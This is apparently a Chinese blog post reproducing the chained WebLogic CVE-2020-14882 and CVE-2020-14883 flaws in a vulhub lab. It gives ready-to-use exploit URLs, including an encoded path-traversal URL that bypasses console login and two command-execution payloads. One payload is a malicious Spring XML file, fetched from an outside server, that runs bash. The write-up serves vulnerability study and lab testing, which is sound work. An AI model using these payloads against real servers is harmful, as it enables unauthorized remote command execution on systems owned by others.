漏洞编号 weblogic未授权漏洞:CVE-2020-14882 weblogic命令执行漏洞:CVE-2020-14883 漏洞说明 CVE-2020-14882允许未授权的用户绕过管理控制台的权限验证访问后台,CVE-2020-14883允许后台任意用户通过HTTP协议执行任意命令。使用这两个漏洞组成的利用链,可通过一个GET请求在远程Weblogic服务器上以未授权的任意用户身份执行命令。 影响版本 Oracle WebLogic Server,版本10.3.6.0,12.1.3.0,12.2.1.3,12.2.1.4,14.1.1.0。 漏洞复现 靶场环境为:vulhub weblogic CVE-2020-14882 CVE-2020-14882未授权访问链接:/console/images/%252E%252E%252Fconsole.portal images后所有标点空格都需使用url编码方式访问,浏览器会默认改编码为标点。 未授权访问的控制台 进入后台后,由于是低权限用户所以无法执行命令,此时需要使用CVE-2020-14883漏洞执行命令。 CVE-2020-14883有两种不同的利用方式。 一、通过com.tangosol.coherence.mvel2.sh.ShellSession (Weblogic 12.2.1以上版本利用) 二是通过com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext。 第一种利用方式 直接访问下面的url执行命令 http://192.168.116.133:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/success1');") 页面显示404,回到服务器端执行如下命令登录到容器中。 docker exec -it 容器id /bin/bash 这个利用方法只能在Weblogic 12.2.1以上版本利用,因为10.3.6并不存在com.tangosol.coherence.mvel2.sh.ShellSession类。 com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext是一种更为通用的方法,最早在CVE-2019-2725被提出,对于所有Weblogic版本均有效。 首先,我们需要构造一个XML文件,并将其保存在Weblogic可以访问到的服务器上.。 xml文件代码如下:
<?xml version="1.0" encoding="UTF-8" ?> <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"> <bean id="pb" class="java.lang.ProcessBuilder" init-method="start"> <constructor-arg> <list> <value>bash</value> <value>-c</value> <value><![CDATA[touch /tmp/success2]]></value> </list> </constructor-arg> </bean> </beans>然后通过如下URL,即可让Weblogic加载这个XML,并执行其中的命令:
http://192.168.116.133:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://121.4.45.196/demo.xml")
访问一下连接创建文件:
/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext(“http://自己服务器地址/自己创建的xml文件”)) 成功创建 标签:252e%,Weblogic,漏洞,2020,weblogic,CVE,com,远程 From: https://www.cnblogs.com/pursue-security/p/17029180.html